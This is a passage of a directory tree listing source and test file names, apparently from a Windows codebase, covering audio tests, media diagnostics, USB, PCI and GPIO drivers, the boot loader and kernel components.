    │       │       
    │       ├───LatencyTest
    │       │       categories.cpp
    │       │       categories.h
    │       │       device.cpp
    │       │       device.h
    │       │       latencytest.cpp
    │       │       latencytest.h
    │       │       log.h
    │       │       options.h
    │       │       pch.h
    │       │       roundtriplatency.cpp
    │       │       roundtriplatency.h
    │       │       timestamp.cpp
    │       │       timestamp.h
    │       │       version.rc
    │       │       wasapicapture.cpp
    │       │       wasapicapture.h
    │       │       wasapirender.cpp
    │       │       wasapirender.h
    │       │       
    │       ├───Lullaby
    │       │       Lullaby.cpp
    │       │       Lullaby.h
    │       │       Lullaby.rc
    │       │       lullaby2.manifest
    │       │       LullabyCaptureTests.cpp
    │       │       LullabyRenderTests.cpp
    │       │       LullabyTests.cpp
    │       │       resource.h
    │       │       StdAfx.h
    │       │       TestFunctions.h
    │       │       utilities.h
    │       │       UtilityTestComponents.cpp
    │       │       
    │       ├───Tools
    │       │   └───Audiospew
    │       │           endpoint-id.cpp
    │       │           endpoint-id.h
    │       │           log.h
    │       │           main.cpp
    │       │           parse.h
    │       │           parsewaveformat.cpp
    │       │           
    │       ├───uaatest
    │       │       aznode.h
    │       │       AzVerbUtils.cpp
    │       │       AzVerbUtils.h
    │       │       buffer.h
    │       │       codec.cpp
    │       │       codec.h
    │       │       controller.h
    │       │       hdaudio.cpp
    │       │       HdAudioMemorySpace.cpp
    │       │       HdAudioMemorySpace.h
    │       │       HdHitlog.cpp
    │       │       HdHitlog.h
    │       │       HdHitPlugin.cpp
    │       │       HdHitPlugin.h
    │       │       hdmi.cpp
    │       │       hdRegTest.cpp
    │       │       HdRegTest.h
    │       │       install.cpp
    │       │       install.h
    │       │       log.cpp
    │       │       log.h
    │       │       power.cpp
    │       │       power.h
    │       │       resource.h
    │       │       SetupDi.cpp
    │       │       SetupDi.h
    │       │       stringify.cpp
    │       │       stringify.h
    │       │       testcase.h
    │       │       uaatest.cpp
    │       │       uaatest.h
    │       │       uaatest.rc
    │       │       util.cpp
    │       │       util.h
    │       │       
    │       ├───UMACore
    │       │       APIGenericAPO.cpp
    │       │       APIGenericAPO.h
    │       │       APISrcAPO.cpp
    │       │       APISrcAPO.h
    │       │       AudioEngineTest.cpp
    │       │       AudioEngineTest.rc
    │       │       BaseFormat.cpp
    │       │       BaseFormat.h
    │       │       ErrorCodes.h
    │       │       FormatFl32Int16.cpp
    │       │       FormatFl32Int16.h
    │       │       FormatFl32Int20.cpp
    │       │       FormatFl32Int20.h
    │       │       FormatFl32Int24.cpp
    │       │       FormatFl32Int24.h
    │       │       FormatFl32Int24wide.cpp
    │       │       FormatFl32Int24wide.h
    │       │       FormatFl32Int32.cpp
    │       │       FormatFl32Int32.H
    │       │       FormatFl32Uint8.cpp
    │       │       FormatFl32Uint8.h
    │       │       FormatFl64Int16.cpp
    │       │       FormatFl64Int16.h
    │       │       FormatFl64Int32.cpp
    │       │       FormatFl64Int32.h
    │       │       FormatInt16Fl32.cpp
    │       │       FormatInt16Fl32.h
    │       │       FormatInt16Fl64.cpp
    │       │       FormatInt16Fl64.h
    │       │       FormatInt20Fl32.cpp
    │       │       FormatInt20Fl32.h
    │       │       FormatInt24Fl32.cpp
    │       │       FormatInt24Fl32.h
    │       │       FormatInt24wideFl32.cpp
    │       │       FormatInt24wideFl32.h
    │       │       FormatInt32Fl32.cpp
    │       │       FormatInt32Fl32.h
    │       │       FormatInt32Fl64.cpp
    │       │       FormatInt32Fl64.h
    │       │       FormatUint8Fl32.cpp
    │       │       FormatUint8Fl32.h
    │       │       guid.cpp
    │       │       KSEndpointBase.cpp
    │       │       KSEndpointBase.h
    │       │       KSEndpointCapture.cpp
    │       │       KSEndpointCapture.h
    │       │       KSEndpointRender.cpp
    │       │       KSEndpointRender.h
    │       │       LocalGraph.cpp
    │       │       MatrixAPO.cpp
    │       │       MatrixAPO.h
    │       │       MeterAPO.cpp
    │       │       MeterAPO.h
    │       │       MixerAPO.cpp
    │       │       MixerAPO.h
    │       │       Pump.cpp
    │       │       Pump.h
    │       │       resource.h
    │       │       SRCApo_Functional.cpp
    │       │       StdAfx.h
    │       │       tstfns.h
    │       │       VolumeAPO.cpp
    │       │       VolumeAPO.h
    │       │       
    │       ├───UMATest
    │       │       ActivateAudioInterfaceTests.cpp
    │       │       AudioClient2APITests.cpp
    │       │       AudioClient2APITests.h
    │       │       AudioClientAPITests.cpp
    │       │       AudioClientAPITests.h
    │       │       AudioEndpointVolumeAPITests.cpp
    │       │       AudioMeterInformationAPITests.cpp
    │       │       AudioSessionControlAPITests.cpp
    │       │       AudioSessionEventHandler.cpp
    │       │       AudioSessionEventHandler.h
    │       │       AudioSessionManagementAPITests.cpp
    │       │       AudioSessionStress.cpp
    │       │       AudioStreamVolumeAPITests.cpp
    │       │       bldcheck.c
    │       │       ChannelAudioVolumeAPITests.cpp
    │       │       ClockRateAdjustTests.cpp
    │       │       DuckingTests.cpp
    │       │       DummyDuckingClient.h
    │       │       EndpointEventingTests.cpp
    │       │       EndpointStreamingPropertyTests.cpp
    │       │       EndpointStreamingPropertyTests.h
    │       │       EndpointVolumeEventHandler.cpp
    │       │       EndpointVolumeEventHandler.h
    │       │       guid.cpp
    │       │       ksinstance.cpp
    │       │       ksinstance.h
    │       │       LonghaulStreaming.cpp
    │       │       PolicyConfigAPITests.cpp
    │       │       PolicyConfigAPITests.h
    │       │       resource.h
    │       │       SecurityTests.cpp
    │       │       SessionEventingTests.cpp
    │       │       SessionManagerEventHandler.cpp
    │       │       SessionManagerEventHandler.h
    │       │       SessionVolumeStress.cpp
    │       │       SessionVolumeStress.h
    │       │       SimpleAudioVolumeAPITests.cpp
    │       │       StdAfx.h
    │       │       StreamingControlTestFramework.cpp
    │       │       StreamingControlTestFramework.h
    │       │       StreamingFunctionalTests.cpp
    │       │       StreamingHelper.cpp
    │       │       StreamingHelper.h
    │       │       TestFunctions.h
    │       │       TestParams.cpp
    │       │       TestParams.h
    │       │       TestUtilities.cpp
    │       │       TestUtilities.h
    │       │       umatest.cpp
    │       │       umateststreaming.cpp
    │       │       
    │       ├───USBAudLogo
    │       │       audiohidtestclient.cpp
    │       │       audiohidtestclient.h
    │       │       common.h
    │       │       guid.cpp
    │       │       main.cpp
    │       │       main.rc
    │       │       perf.cpp
    │       │       stdafx.h
    │       │       tests.cpp
    │       │       tests.h
    │       │       USBAudioHidTest.cpp
    │       │       
    │       ├───VoiceActivationManagerTests
    │       │       Precomp.h
    │       │       TaefModule.cpp
    │       │       VoiceActivationManagerTests.cpp
    │       │       VoiceActivationManagerTests.h
    │       │       
    │       └───WaveTest
    │               comptest.cpp
    │               DataIntersectionTest.h
    │               guid.cpp
    │               halfdup.cpp
    │               halfdup.h
    │               Helpers.h
    │               pincreate.cpp
    │               pintest.cpp
    │               PreComp.h
    │               resource.h
    │               TaefModule.cpp
    │               TestResource.cpp
    │               TestResource.h
    │               TestResourceBuild.cpp
    │               tests.h
    │               timetest.cpp
    │               WaveTestTaef.cpp
    │               WaveTestTaef.h
    │               whqlLimits.h
    │               
    ├───avcore
    │   └───quality
    │       ├───MFTDiag
    │       │   └───Modules
    │       │       ├───Compliance
    │       │       │   ├───Lib
    │       │       │   │       mftdcompliance.cpp
    │       │       │   │       MFTDCompliance.h
    │       │       │   │       resource.h
    │       │       │   │       
    │       │       │   ├───Taef
    │       │       │   │       MFTDComplianceTaef.cpp
    │       │       │   │       MFTDComplianceTaef.h
    │       │       │   │       
    │       │       │   └───TAEFDLL
    │       │       │           MFTDComplianceTaef.cpp
    │       │       │           MFTDComplianceTaef.h
    │       │       │           
    │       │       ├───DXVA
    │       │       │   ├───LIB
    │       │       │   │       DXVATests.cpp
    │       │       │   │       DXVATests.h
    │       │       │   │       DXVATests.xml
    │       │       │   │       
    │       │       │   ├───LIB_HEVC
    │       │       │   │       DXVAHEVCTests.xml
    │       │       │   │       
    │       │       │   ├───TAEFDLL
    │       │       │   │       WLKDecDXVA.cpp
    │       │       │   │       WLKDecDXVA.h
    │       │       │   │       
    │       │       │   └───TAEFDLL_HEVC
    │       │       │           WLKDecDXVA_HEVC.cpp
    │       │       │           WLKDecDXVA_HEVC.h
    │       │       │           
    │       │       ├───DXVA-HD
    │       │       │   ├───LIB
    │       │       │   │       DXVAHDTests.cpp
    │       │       │   │       DXVAHDTests.h
    │       │       │   │       DXVAHDTests.xml
    │       │       │   │       
    │       │       │   └───TAEFDLL
    │       │       │           WLKDecDXVAHD.cpp
    │       │       │           WLKDecDXVAHD.h
    │       │       │           
    │       │       ├───MediaEngineTests
    │       │       │       MediaPipelineTests.xml
    │       │       │       MFTDMediaEngine.cpp
    │       │       │       MFTDMediaEngine.h
    │       │       │       MFTDMediaEngineTest.cpp
    │       │       │       MFTDMediaEngineTest.h
    │       │       │       
    │       │       ├───Playback
    │       │       │   ├───LiB
    │       │       │   │       mftplaybacktests.cpp
    │       │       │   │       MFTPlaybackTests.h
    │       │       │   │       Playback.xml
    │       │       │   │       
    │       │       │   └───TAEFDLL
    │       │       │           MFTDPlaybackTaef.cpp
    │       │       │           MFTDPlaybackTaef.h
    │       │       │           
    │       │       ├───Transcode
    │       │       │   ├───LiB
    │       │       │   │       mftcompsessiontests.cpp
    │       │       │   │       mftcompsessionTests.h
    │       │       │   │       Transcode.xml
    │       │       │   │       
    │       │       │   └───TAEFDLL
    │       │       │           MFTDTranscodeTaef.cpp
    │       │       │           MFTDTranscodeTaef.h
    │       │       │           
    │       │       └───VisualValidation
    │       │           ├───LIB
    │       │           │       mftvisvaltests.cpp
    │       │           │       MFTVisValTests.h
    │       │           │       MFTVisValTests_Priv.h
    │       │           │       VisVal.xml
    │       │           │       
    │       │           └───TAEFDLL
    │       │                   MFTDVisValTaef.cpp
    │       │                   MFTDVisValTaef.h
    │       │                   
    │       └───tests
    │           └───cpack
    │               └───video
    │                   └───encoders
    │                       └───H264EncMFTW8
    │                               H264EncMFTW8.cpp
    │                               
    ├───base
    │   ├───busdrv
    │   │   └───sd
    │   │       ├───inc
    │   │       │       sdbuslib.h
    │   │       │       
    │   │       ├───lib
    │   │       │       sdbus.c
    │   │       │       
    │   │       └───sys
    │   │               dispatch.c
    │   │               enum.c
    │   │               fdopnp.c
    │   │               power.c
    │   │               sqm.c
    │   │               wake.c
    │   │               
    │   └───diagnosis
    │       └───offlinecrashdump
    │           └───test
    │                   apreg64.cpp
    │                   apreg64.h
    │                   common.h
    │                   dbgClient.cpp
    │                   dbgClient.h
    │                   DbgUtil.cpp
    │                   DiskUtil.cpp
    │                   DiskUtil.h
    │                   DumpExtract32.cpp
    │                   DumpExtract64.cpp
    │                   Dumputil.cpp
    │                   Dumputil.h
    │                   kddebug.cpp
    │                   OffdumpTool.cpp
    │                   sources
    │                   VDSUtil.cpp
    │                   version.rc
    │                   
    ├───drivers
    │   ├───busdrv
    │   │   └───pci
    │   │           arbiters.c
    │   │           arbmemory.c
    │   │           arbport.c
    │   │           aspm.c
    │   │           atomics.c
    │   │           bridge.c
    │   │           busapi.c
    │   │           busnumbers.c
    │   │           busnumspread.c
    │   │           buspnp.c
    │   │           buspower.c
    │   │           buspower.h
    │   │           config.c
    │   │           configraw.c
    │   │           configraw.h
    │   │           consolelock.c
    │   │           ctrldev.c
    │   │           debug.c
    │   │           delay.c
    │   │           devapi.c
    │   │           devpnp.c
    │   │           devpower.c
    │   │           diag.c
    │   │           dispatch.c
    │   │           enum.c
    │   │           expressbridge.c
    │   │           expressport.c
    │   │           guid.c
    │   │           hack.c
    │   │           hotplug.c
    │   │           id.c
    │   │           ide.c
    │   │           init.c
    │   │           interface.c
    │   │           interrupt.c
    │   │           isrdpc.c
    │   │           legacy.c
    │   │           ltr.c
    │   │           pcip.h
    │   │           pciprop.c
    │   │           pcisym.c
    │   │           PCI_Power.vdx
    │   │           resizablebar.c
    │   │           resizablebar.h
    │   │           resource.c
    │   │           rom.c
    │   │           root.c
    │   │           root.h
    │   │           sriov.c
    │   │           state.c
    │   │           tph.c
    │   │           tracelog.c
    │   │           type0.c
    │   │           type1.c
    │   │           type2.c
    │   │           utils.c
    │   │           verifier.c
    │   │           vmproxy.c
    │   │           whea.c
    │   │           
    │   ├───gpio
    │   │   └───gpioclx
    │   │       └───sys
    │   │               acpievt.c
    │   │               callbacks.c
    │   │               classext.c
    │   │               client.c
    │   │               client.h
    │   │               clientinvk.c
    │   │               clientinvk.h
    │   │               driver.c
    │   │               gpioclx.c
    │   │               gpioclxi.h
    │   │               hub.c
    │   │               hub.h
    │   │               intdebounce.c
    │   │               intdebounce.h
    │   │               interrupt.c
    │   │               io.c
    │   │               pch.h
    │   │               power.c
    │   │               privdefs.c
    │   │               privdefs.h
    │   │               trace.c
    │   │               trace.h
    │   │               utils.c
    │   │               
    │   ├───spb
    │   │   ├───miniport
    │   │   │   └───hidi2c
    │   │   │           acpi.cpp
    │   │   │           acpi.h
    │   │   │           bus.cpp
    │   │   │           bus.h
    │   │   │           device.cpp
    │   │   │           device.h
    │   │   │           driver.cpp
    │   │   │           driver.h
    │   │   │           internal.h
    │   │   │           interrupt.cpp
    │   │   │           interrupt.h
    │   │   │           power.cpp
    │   │   │           power.h
    │   │   │           queue.cpp
    │   │   │           queue.h
    │   │   │           registry.cpp
    │   │   │           registry.h
    │   │   │           trace.h
    │   │   │           
    │   │   └───spbcx
    │   │       └───sys
    │   │               controller.cpp
    │   │               controller.h
    │   │               driver.cpp
    │   │               driver.h
    │   │               internal.h
    │   │               request.cpp
    │   │               request.h
    │   │               requestapi.cpp
    │   │               target.cpp
    │   │               target.h
    │   │               targetapi.cpp
    │   │               verifier.cpp
    │   │               verifier.h
    │   │               
    │   ├───storage
    │   │   └───port
    │   │       └───raid
    │   │           └───miniport
    │   │               └───storufs
    │   │                       debug.c
    │   │                       debug.h
    │   │                       phy.c
    │   │                       phy.h
    │   │                       ufs.c
    │   │                       ufs.h
    │   │                       ufshci.h
    │   │                       upiu.c
    │   │                       upiu.h
    │   │                       util.c
    │   │                       util.h
    │   │                       
    │   └───wdm
    │       └───usb
    │           ├───hcd
    │           │   ├───dump
    │           │   │       usbdump.c
    │           │   │       
    │           │   ├───inc
    │           │   │       hcdiguid.h
    │           │   │       usbhcdi.h
    │           │   │       usbpriv.h
    │           │   │       
    │           │   ├───miniport
    │           │   │   └───usbehci
    │           │   │       └───driver
    │           │   │               async.c
    │           │   │               common.h
    │           │   │               dbg.c
    │           │   │               dbg.h
    │           │   │               ehci.h
    │           │   │               int.c
    │           │   │               iso.c
    │           │   │               mpinit.c
    │           │   │               periodic.c
    │           │   │               roothub.c
    │           │   │               sstool.c
    │           │   │               syminfo.c
    │           │   │               usbehci.C
    │           │   │               usbehci.H
    │           │   │               usbehcidump.c
    │           │   │               usbehcidump.h
    │           │   │               
    │           │   └───usbport
    │           │       └───driver
    │           │               busif.c
    │           │               cancel.c
    │           │               cancel.h
    │           │               cmnbuf.c
    │           │               common.h
    │           │               config.c
    │           │               core.c
    │           │               core.h
    │           │               dbg.c
    │           │               dbg.h
    │           │               device.c
    │           │               dma.c
    │           │               dmtimer.c
    │           │               endpoint.c
    │           │               endpoint.h
    │           │               errata.h
    │           │               hrtimer.c
    │           │               int.c
    │           │               ioctl.c
    │           │               iso.c
    │           │               lookaside.c
    │           │               lookaside.h
    │           │               miniport.c
    │           │               miniport.h
    │           │               pnp.c
    │           │               power.c
    │           │               prototyp.h
    │           │               roothub.c
    │           │               roothub.h
    │           │               RTPMPublic_AutoGen.h
    │           │               RTPM_AutoGen.c
    │           │               RTPM_AutoGen.h
    │           │               RTPM_AutoGenDbg.h
    │           │               rtpower.c
    │           │               sched.c
    │           │               sched.h
    │           │               service.c
    │           │               SMEngine.c
    │           │               SMStructs.h
    │           │               status.c
    │           │               syminfo.c
    │           │               trace.h
    │           │               urb.c
    │           │               usb2.c
    │           │               usb2.h
    │           │               usb2cmn.h
    │           │               usbport.c
    │           │               usbport.h
    │           │               wmilog.c
    │           │               wmilog.h
    │           │               worker.c
    │           │               xdpc.c
    │           │               xdpc.h
    │           │               xsplit.c
    │           │               xsplit.h
    │           │               
    │           ├───hub
    │           │   ├───inc
    │           │   │       tstpoint.h
    │           │   │       
    │           │   └───usbhub
    │           │           BUS.C
    │           │           bus.h
    │           │           busfunc.c
    │           │           busfunc.h
    │           │           busif.c
    │           │           busif.h
    │           │           busifdef.h
    │           │           busm.c
    │           │           busm.h
    │           │           connect.c
    │           │           dioctl.c
    │           │           dioctl.h
    │           │           dq.h
    │           │           enum1.c
    │           │           enum2.c
    │           │           etw.c
    │           │           etw.h
    │           │           ex.C
    │           │           ex.h
    │           │           exdef.h
    │           │           extboot.c
    │           │           extboot.h
    │           │           fdopwr.c
    │           │           fdopwr.h
    │           │           hrtimer.c
    │           │           hrtimer.h
    │           │           hub.c
    │           │           hub.h
    │           │           hubutil.h
    │           │           idstring.c
    │           │           idstring.h
    │           │           ioctl.c
    │           │           ioctl.h
    │           │           lock.c
    │           │           lock.h
    │           │           log.c
    │           │           log.h
    │           │           logdef.h
    │           │           msos.c
    │           │           msos.h
    │           │           overc.c
    │           │           overc.h
    │           │           pch.h
    │           │           pchange.c
    │           │           pchange.h
    │           │           pdo.c
    │           │           pdo.h
    │           │           pdopwr.c
    │           │           pdopwr.h
    │           │           pind.c
    │           │           pind.h
    │           │           pnp.c
    │           │           pnp.h
    │           │           refobj.c
    │           │           refobj.h
    │           │           reg.h
    │           │           reset.c
    │           │           reset.h
    │           │           ssdev.c
    │           │           ssdev.h
    │           │           sshub.c
    │           │           sshub.h
    │           │           syminfo.c
    │           │           tags.h
    │           │           timer.c
    │           │           timer.h
    │           │           trace.h
    │           │           usbd.c
    │           │           usbd.h
    │           │           usbhub.h
    │           │           uxd.c
    │           │           uxd.h
    │           │           wmi.c
    │           │           wmi.h
    │           │           
    │           ├───inc
    │           │       extimer.h
    │           │       hcdi.h
    │           │       msos20desc.h
    │           │       msosdesc.h
    │           │       telemetry.h
    │           │       usbboot.h
    │           │       usbbugcode.h
    │           │       usbcommon.h
    │           │       usbdlibi.h
    │           │       usbintrl.h
    │           │       usbkdver.h
    │           │       usbver.h
    │           │       
    │           └───usb3
    │               ├───hub
    │               │   └───src
    │               │           acpi.c
    │               │           acpi.h
    │               │           connector.c
    │               │           connector.h
    │               │           descvalidation.c
    │               │           descvalidation.h
    │               │           devicexfer.c
    │               │           devicexfer.h
    │               │           driver.c
    │               │           driver.h
    │               │           DSMPublic_AutoGen.h
    │               │           DSM_AutoGen.c
    │               │           DSM_AutoGen.h
    │               │           hsmmux.c
    │               │           hsmmux.h
    │               │           HSMPublic_AutoGen.h
    │               │           HSM_AutoGen.c
    │               │           HSM_AutoGen.h
    │               │           hubboot.c
    │               │           hubboot.h
    │               │           hubdef.h
    │               │           hubfdo.c
    │               │           hubfdo.h
    │               │           HubIdle.c
    │               │           HubIdle.h
    │               │           hubmisc.c
    │               │           hubmisc.h
    │               │           hubpdo.c
    │               │           hubpdo.h
    │               │           hubxfer.c
    │               │           hubxfer.h
    │               │           idstring.c
    │               │           idstring.h
    │               │           ISMPublic_AutoGen.h
    │               │           ISM_AutoGen.c
    │               │           ISM_AutoGen.h
    │               │           parent.c
    │               │           parent.h
    │               │           pch.h
    │               │           PSM20_AutoGen.c
    │               │           PSM20_AutoGen.h
    │               │           PSM30_AutoGen.c
    │               │           PSM30_AutoGen.h
    │               │           PSMPublic_AutoGen.h
    │               │           SMEngine.c
    │               │           SMStructs.h
    │               │           syminfo.c
    │               │           tracing.h
    │               │           ucx.c
    │               │           ucx.h
    │               │           wer.c
    │               │           wer.h
    │               │           
    │               ├───inc
    │               │       dbg.h
    │               │       project.h
    │               │       usb300.h
    │               │       
    │               ├───ucx
    │               │   └───sys
    │               │       ├───driver
    │               │       │       controller.c
    │               │       │       controller.h
    │               │       │       endpoint.c
    │               │       │       endpoint.h
    │               │       │       etw.c
    │               │       │       etw.h
    │               │       │       etwenable.h
    │               │       │       pch.h
    │               │       │       roothub.c
    │               │       │       roothub.h
    │               │       │       StateMachineControllerReset.c
    │               │       │       StateMachineControllerReset.h
    │               │       │       StateMachineControllerResetStateEntryFuncs.c
    │               │       │       StateMachineEngine.c
    │               │       │       StateMachineEngine.h
    │               │       │       StateMachineUcxEndpoint.c
    │               │       │       StateMachineUcxEndpoint.h
    │               │       │       StateMachineUcxEndpointStateEntryFuncs.c
    │               │       │       streams.c
    │               │       │       streams.h
    │               │       │       syminfo.c
    │               │       │       ucx.c
    │               │       │       ucx.h
    │               │       │       ucxdbg.h
    │               │       │       urb.c
    │               │       │       urb.h
    │               │       │       usbdevice.c
    │               │       │       usbdevice.h
    │               │       │       usbdi.c
    │               │       │       usbdi.h
    │               │       │       userioctls.c
    │               │       │       xrb.c
    │               │       │       xrb.h
    │               │       │       
    │               │       └───inc
    │               │               hubinterface.h
    │               │               ucxclass.h
    │               │               ucxversion.h
    │               │               
    │               └───usbxhci
    │                   ├───inc
    │                   │       xhciwmi.h
    │                   │       
    │                   └───sys
    │                       └───driver
    │                               bulk.c
    │                               bulk.h
    │                               command.c
    │                               command.h
    │                               commandfilter.c
    │                               commandfilter.h
    │                               commonbuffer.c
    │                               commonbuffer.h
    │                               control.c
    │                               control.h
    │                               controller.c
    │                               controller.h
    │                               counter.c
    │                               counter.h
    │                               crashdump.c
    │                               crashdump.h
    │                               crashdumpcommand.c
    │                               crashdumpcommand.h
    │                               crashdumpcommon.h
    │                               crashdumpendpoint.c
    │                               crashdumpendpoint.h
    │                               crashdumpeventring.c
    │                               crashdumpeventring.h
    │                               crashdumpregister.c
    │                               crashdumpregister.h
    │                               crashdumpusbdevice.c
    │                               crashdumpusbdevice.h
    │                               deviceslot.c
    │                               deviceslot.h
    │                               driver.c
    │                               driver.h
    │                               endpoint.c
    │                               endpoint.h
    │                               ESMPublic_AutoGen.h
    │                               ESM_AutoGen.c
    │                               ESM_AutoGen.h
    │                               etw.c
    │                               etw.h
    │                               etwenable.h
    │                               interrupter.c
    │                               interrupter.h
    │                               iocontrol.c
    │                               iocontrol.h
    │                               isoch.c
    │                               isoch.h
    │                               pch.h
    │                               register.c
    │                               register.h
    │                               requestdata.h
    │                               roothub.c
    │                               roothub.h
    │                               SMEngine.c
    │                               SMStructs.h
    │                               StageQueue.c
    │                               StageQueue.h
    │                               syminfo.c
    │                               tags.h
    │                               TR.c
    │                               TR.h
    │                               tracing.h
    │                               usbdevice.c
    │                               usbdevice.h
    │                               usbxhci.h
    │                               
    ├───minkernel
    │   ├───boot
    │   │   └───environ
    │   │       ├───app
    │   │       │   ├───bootmgr
    │   │       │   │   │   bcd.c
    │   │       │   │   │   bmbgdisp.c
    │   │       │   │   │   bootmgr.c
    │   │       │   │   │   bootmgr.h
    │   │       │   │   │   display.c
    │   │       │   │   │   error.c
    │   │       │   │   │   fvedisp.c
    │   │       │   │   │   resume.c
    │   │       │   │   │   
    │   │       │   │   └───efi
    │   │       │   │           entry.c
    │   │       │   │           util.c
    │   │       │   │           
    │   │       │   ├───lib
    │   │       │   │   └───charge
    │   │       │   │           battery.c
    │   │       │   │           battery.h
    │   │       │   │           charge.c
    │   │       │   │           chargelib.c
    │   │       │   │           chargelib.h
    │   │       │   │           chargelibex.h
    │   │       │   │           efibattery.c
    │   │       │   │           efiusbfn.c
    │   │       │   │           efiusbfndescriptor.c
    │   │       │   │           efiusbfnsupport.c
    │   │       │   │           efiwrappers.c
    │   │       │   │           efiwrappers.h
    │   │       │   │           graphics.c
    │   │       │   │           graphics.h
    │   │       │   │           usbfn.h
    │   │       │   │           usbfnsupport.h
    │   │       │   │           
    │   │       │   └───osloader
    │   │       │       │   bootstat.c
    │   │       │       │   config.c
    │   │       │       │   debug.c
    │   │       │       │   display.c
    │   │       │       │   entropy.c
    │   │       │       │   error.c
    │   │       │       │   fipsmode.c
    │   │       │       │   ldrblock.c
    │   │       │       │   load.c
    │   │       │       │   mcupdate.c
    │   │       │       │   osbgdisp.c
    │   │       │       │   osextens.c
    │   │       │       │   oskstack.c
    │   │       │       │   osloader.c
    │   │       │       │   osloader.h
    │   │       │       │   registry.c
    │   │       │       │   resmcntx.c
    │   │       │       │   schema.c
    │   │       │       │   si.c
    │   │       │       │   utility.c
    │   │       │       │   
    │   │       │       ├───arm
    │   │       │       │       armentry.c
    │   │       │       │       armxfer.asm
    │   │       │       │       detect.c
    │   │       │       │       osxferc.c
    │   │       │       │       
    │   │       │       └───efi
    │   │       │               fwconfig.c
    │   │       │               fwupdate.c
    │   │       │               osfirmw.c
    │   │       │               sbootfw.c
    │   │       │               
    │   │       └───lib
    │   │           ├───arch
    │   │           │   │   context.c
    │   │           │   │   
    │   │           │   ├───arm
    │   │           │   │       archapi.c
    │   │           │   │       ctxarm.c
    │   │           │   │       ioaccess.c
    │   │           │   │       transita.asm
    │   │           │   │       transitc.c
    │   │           │   │       vector.asm
    │   │           │   │       
    │   │           │   └───efi
    │   │           │           ctxefiarm.c
    │   │           │           
    │   │           ├───firmware
    │   │           │   └───efi
    │   │           │           efiapi.c
    │   │           │           efiblock.c
    │   │           │           eficon.c
    │   │           │           efidebug.c
    │   │           │           efifw.c
    │   │           │           efiinit.c
    │   │           │           efilib.c
    │   │           │           efipci.c
    │   │           │           efiprot.c
    │   │           │           efipxe.c
    │   │           │           efirng.c
    │   │           │           efisc.c
    │   │           │           efitcg.c
    │   │           │           efitree.c
    │   │           │           
    │   │           ├───io
    │   │           │   ├───device
    │   │           │   │   │   blkcache.c
    │   │           │   │   │   block.h
    │   │           │   │   │   blockapi.c
    │   │           │   │   │   device.c
    │   │           │   │   │   device.h
    │   │           │   │   │   disk.h
    │   │           │   │   │   diskapi.c
    │   │           │   │   │   locate.c
    │   │           │   │   │   partapi.c
    │   │           │   │   │   partition.h
    │   │           │   │   │   ramapi.c
    │   │           │   │   │   
    │   │           │   │   └───efi
    │   │           │   │           block.c
    │   │           │   │           disk.c
    │   │           │   │           partition.c
    │   │           │   │           
    │   │           │   └───file
    │   │           │           fatboot.c
    │   │           │           fatboot.h
    │   │           │           file.c
    │   │           │           file.h
    │   │           │           ntfsboot.c
    │   │           │           ntfsboot.h
    │   │           │           wimboot.c
    │   │           │           wimboot.h
    │   │           │           wimintegrity.c
    │   │           │           
    │   │           ├───misc
    │   │           │   │   archack.c
    │   │           │   │   bsdlog.c
    │   │           │   │   hash.c
    │   │           │   │   imgapp.c
    │   │           │   │   imgload.c
    │   │           │   │   libapi.c
    │   │           │   │   loader.c
    │   │           │   │   log.c
    │   │           │   │   pdsup.c
    │   │           │   │   resource.c
    │   │           │   │   status.c
    │   │           │   │   string.c
    │   │           │   │   table.c
    │   │           │   │   time_cmn.c
    │   │           │   │   utility.c
    │   │           │   │   
    │   │           │   └───efi
    │   │           │           image.c
    │   │           │           time.c
    │   │           │           
    │   │           ├───mm
    │   │           │   │   blkalloc.c
    │   │           │   │   malloc.c
    │   │           │   │   memdesc.c
    │   │           │   │   memutils.c
    │   │           │   │   pagalloc.c
    │   │           │   │   translat.c
    │   │           │   │   transmin.c
    │   │           │   │   
    │   │           │   ├───arm
    │   │           │   │       procuarm.c
    │   │           │   │       procuarm.h
    │   │           │   │       tranapp.c
    │   │           │   │       
    │   │           │   └───efi
    │   │           │           memory.c
    │   │           │           
    │   │           └───platform
    │   │               │   pciconfig.c
    │   │               │   platinit.c
    │   │               │   
    │   │               └───efi
    │   │                       eficfg.c
    │   │                       
    │   └───ntos
    │       ├───io
    │       │   └───pnpmgr
    │       │           action.c
    │       │           action.h
    │       │           assign.c
    │       │           assign.h
    │       │           async.c
    │       │           async.h
    │       │           bootcfg.c
    │       │           bootcfg.h
    │       │           callback.c
    │       │           conflict.c
    │       │           conflict.h
    │       │           connlock.c
    │       │           debug.h
    │       │           depend.c
    │       │           depend.h
    │       │           device.c
    │       │           device.h
    │       │           dockdevice.c
    │       │           dockdevice.h
    │       │           enum.c
    │       │           enum.h
    │       │           event.c
    │       │           event.h
    │       │           eventremove.c
    │       │           eventremove.h
    │       │           hwconfig.c
    │       │           hwconfig.h
    │       │           hwprofile.c
    │       │           interface.c
    │       │           interface.h
    │       │           ioapi.c
    │       │           irp.c
    │       │           irp.h
    │       │           locks.c
    │       │           locks.h
    │       │           macro.h
    │       │           notify.c
    │       │           notify.h
    │       │           pagepath.c
    │       │           pagepath.h
    │       │           pnpinit.c
    │       │           pnpinit.h
    │       │           pnpmgrp.h
    │       │           pooltags.h
    │       │           power.c
    │       │           property.c
    │       │           property.h
    │       │           queue.c
    │       │           queue.h
    │       │           rebalance.c
    │       │           rebalance.h
    │       │           register.c
    │       │           register.h
    │       │           registry.c
    │       │           registry.h
    │       │           relations.c
    │       │           relations.h
    │       │           relationsp.h
    │       │           remlock.c
    │       │           remlock.h
    │       │           remove.c
    │       │           remove.h
    │       │           replace.c
    │       │           replace.h
    │       │           start.c
    │       │           start.h
    │       │           utils.c
    │       │           utils.h
    │       │           verifier.c
    │       │           verifier.h
    │       │           
    │       └───ke
    │               allproc.c
    │               apcint.asm
    │               apcuser.c
    │               callout.asm
    │               cpu.c
    │               ctxswap.asm
    │               decode.c
    │               emulate.asm
    │               exceptn.c
    │               flush.c
    │               flushtb.c
    │               idle.asm
    │               initkr.c
    │               intsupc.c
    │               ipi.c
    │               kiarm.h
    │               misc.c
    │               miscs.asm
    │               procstat.asm
    │               region.c
    │               services.stb
    │               start.asm
    │               table.stb
    │               threadbg.asm
    │               thredini.c
    │               trap.asm
    │               vector.asm
    │               zero.asm
    │               
    ├───nethlk
    │   └───Tests
    │       │   readme.txt
    │       │   
    │       ├───Dot11W
    │       │       Dot11W.cs
    │       │       
    │       ├───Microsoft.Test.Networking.DataPathTests
    │       │       BroadcastListener.cs
    │       │       DataPathTests.cs
    │       │       MulticastListener.cs
    │       │       RemoteManager.cs
